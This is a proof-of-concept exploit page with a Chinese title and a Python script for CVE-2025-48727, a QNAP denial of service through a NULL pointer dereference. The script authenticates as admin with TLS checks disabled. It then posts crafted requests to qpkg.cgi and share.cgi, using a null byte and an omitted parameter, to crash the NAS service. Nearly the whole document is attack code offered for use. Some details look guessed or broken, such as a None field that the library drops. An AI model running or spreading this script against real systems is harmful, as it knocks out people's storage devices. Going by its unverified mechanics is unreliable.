CVE-2025-48727：QNAP操作系统空指针解引用拒绝服务漏洞

# CVE-2025-48727 PoC - QNAP NULL Pointer Dereference DoS # Note: This vulnerability requires valid administrator credentials to exploit. # The PoC demonstrates triggering a NULL pointer dereference via crafted API request. import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "https://target-qnap-nas:8080" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password" def exploit_null_deref(): """ Exploit CVE-2025-48727: Trigger NULL pointer dereference in QNAP QTS/QuTS hero Requires valid admin credentials. Causes denial-of-service by crashing the vulnerable service component. """ session = requests.Session() session.verify = False # Step 1: Authenticate as administrator login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi" login_payload = { "user": USERNAME, "pwd": PASSWORD } print(f"[*] Authenticating to {TARGET_HOST} as {USERNAME}...") resp = session.post(login_url, data=login_payload, timeout=10) if resp.status_code != 200 or "auth_pass" not in resp.text: print("[-] Authentication failed. Admin credentials required.") sys.exit(1) print("[+] Authentication successful.") # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable endpoint fails to validate pointer before dereference exploit_url = f"{TARGET_HOST}/cgi-bin/qpkg/cgi-bin/qpkg.cgi" exploit_payload = { "action": "get_qpkg_info", "pkg_name": "\x00", # NULL byte to trigger NULL pointer path "func": "all" } print("[*] Sending crafted request to trigger NULL pointer dereference...") try: resp = session.post(exploit_url, data=exploit_payload, timeout=10) print(f"[*] Response status: {resp.status_code}") except requests.exceptions.ConnectionError: print("[+] Target service crashed! DoS triggered successfully.") return True except Exception as e: print(f"[*] Exception occurred (possible crash): {e}") return True # Alternative endpoint to trigger the vulnerability alt_url = f"{TARGET_HOST}/cgi-bin/filemanager/share.cgi" alt_payload = { "action": "list", "share_name": None, # NULL parameter triggers NULL deref "limit": "1" } print("[*] Attempting alternative exploit vector...") try: resp = session.post(alt_url, data=alt_payload, timeout=10) except requests.exceptions.ConnectionError: print("[+] Target service crashed! DoS triggered successfully.") return True return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-48727 - QNAP NULL Pointer Dereference DoS PoC") print("WARNING: For authorized security testing only!") print("=" * 60) exploit_null_deref()